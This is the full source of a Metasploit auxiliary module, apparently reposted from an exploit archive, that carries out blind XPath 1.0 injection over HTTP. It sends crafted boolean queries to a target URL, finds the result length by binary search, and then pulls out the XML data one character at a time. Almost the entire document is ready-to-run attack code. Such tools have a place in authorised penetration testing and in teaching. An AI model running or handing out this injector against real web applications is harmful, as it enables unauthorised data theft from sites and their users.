Share
## https://sploitus.com/exploit?id=PACKETSTORM:181138
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::WmapScanDir  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HTTP Blind XPATH 1.0 Injector',  
'Description' => %q{  
This module exploits blind XPATH 1.0 injections over HTTP GET requests.  
},  
'Author' => [ 'et [at] metasploit . com' ],  
'License' => BSD_LICENSE))  
  
register_options(  
[  
OptString.new('METHOD', [ true, "HTTP Method",'GET']),  
OptString.new('PATH', [ true, "The URI Path", '/vulnerable.asp']),  
OptString.new('PRE_QUERY', [ true, "Pre-injection HTTP URI Query", 'p1=v1&p2=v2&p3=v3']),  
OptString.new('POST_QUERY', [ false, "Post-injection HTTP URI Query", ' ']),  
OptString.new('ERROR_MSG', [ true, "False error message", 'Server Error']),  
OptString.new('XCOMMAND', [ false, "XPath command to execute (Default for all XML doc)", '//*']),  
OptInt.new('MAX_LEN', [ true, "Maximum string length", 20000]),  
OptBool.new('MAX_OVER', [ true, "Dont detect result size. Use MAX_LEN instead", true ]),  
OptBool.new('CHKINJ', [ false, "Check XPath injection with error message", false ]),  
OptBool.new('DEBUG_INJ', [ false, "Debug XPath injection", true ])  
])  
  
end  
  
def wmap_enabled  
false  
end  
  
def run_host(ip)  
  
#  
# Max string len  
#  
maxstr = datastore['MAX_LEN']  
  
conn = true  
  
rnum=rand(10000)  
  
# Weird crap only lower case 'and' operand works  
truecond = "'%20and%20'#{rnum}'='#{rnum}"  
falsecond = "'%20and%20'#{rnum}'='#{rnum+1}"  
  
hmeth = datastore['METHOD']  
tpath = normalize_uri(datastore['PATH'])  
prequery = datastore['PRE_QUERY']  
postquery = datastore['POST_QUERY']  
emesg = datastore['ERROR_MSG']  
xcomm = datastore['XCOMMAND']  
  
  
  
print_status("Initializing injection.")  
  
if datastore['CHKINJ']  
  
#  
# Detect error msg in true condition  
#  
  
begin  
res = send_request_cgi({  
'uri' => tpath,  
'query' => "#{prequery}#{falsecond}#{postquery}",  
'method' => hmeth  
}, 20)  
  
return if not res  
  
if res.body.index(emesg)  
print_status("False statement check done.")  
else  
print_error("Error message not included in false condition.")  
return  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
conn = false  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
  
#  
# Detect error msg in false condition  
#  
  
begin  
res = send_request_cgi({  
'uri' => tpath,  
'query' => "#{prequery}#{truecond}#{postquery}",  
'method' => hmeth  
}, 20)  
  
return if not res  
  
if res.body.index(emesg)  
print_error("Error message included in true condition.")  
return  
else  
print_status("True statement check done.")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
conn = false  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
  
return if not conn  
end  
  
#  
# Find length of command result  
#  
  
low = 1  
high = maxstr  
  
if datastore['MAX_OVER']  
print_status("Max. limit set to #{maxstr} characters")  
reslen = maxstr  
else  
lenfound = false  
  
while !lenfound do  
middle = (low + high) / 2;  
  
if datastore['DEBUG_INJ']  
print_status("Length Low: #{low} High: #{high} Med: #{middle}")  
end  
  
injlen = "'%20and%20string-length(#{xcomm})=#{middle}%20and%20'#{rnum}'='#{rnum}"  
  
begin  
res = send_request_cgi({  
'uri' => tpath,  
'query' => "#{prequery}#{injlen}#{postquery}",  
'method' => hmeth  
}, 20)  
  
return if not res  
  
if res.body.index(emesg)  
lenf = false  
else  
lenfound = true  
lenf = true  
lens = middle  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
conn = false  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
  
if !lenf  
injlen = "'%20and%20string-length(#{xcomm})<#{middle}%20and%20'#{rnum}'='#{rnum}"  
  
begin  
res = send_request_cgi({  
'uri' => tpath,  
'query' => "#{prequery}#{injlen}#{postquery}",  
'method' => hmeth  
}, 20)  
  
return if not res  
  
if res.body.index(emesg)  
low = middle  
else  
high = middle  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
conn = false  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
  
print_status("Result size: #{lens}")  
reslen = lens.to_i  
end  
  
#  
# Execute xpath command and guess response  
#  
  
namestr = []  
numchr = 0  
  
for i in (1..reslen)  
#  
# Only alpha range  
#  
for k in (32..126)  
j = "%"+("%x" % k)  
  
# For Xpath 2.0 Blind search may be performed using a fast binary search using the  
# string-to-codepoints(string) function  
# injlen = "'%20and%20string-to-codepoints(substring(#{xcomm},#{i},1))<#{k}%20and%20'#{rnum}'='#{rnum}"  
  
# Basic Blind XPath 1.0 Injection  
injlen = "'%20and%20substring(#{xcomm},#{i},1)=\"#{j}\"%20and%20'#{rnum}'='#{rnum}"  
  
begin  
res = send_request_cgi({  
'uri' => tpath,  
'query' => "#{prequery}#{injlen}#{postquery}",  
'method' => hmeth  
}, 20)  
  
return if not res  
  
if res.body.index(emesg)  
# neeeeext  
else  
if(numchr >= maxstr)  
# maximum limit reached  
print_status("#{xcomm}: #{namestr}")  
print_status("Maximum string length reached.")  
return  
end  
  
numchr+=1  
  
comperc = (numchr * 100) / maxstr  
  
namestr << "#{k.chr}"  
if datastore['DEBUG_INJ']  
print_status("#{comperc}%: '#{k.chr}' #{namestr}")  
end  
break  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
conn = false  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
  
print_status("#{xcomm}: #{namestr}")  
print_status("Done.")  
end  
end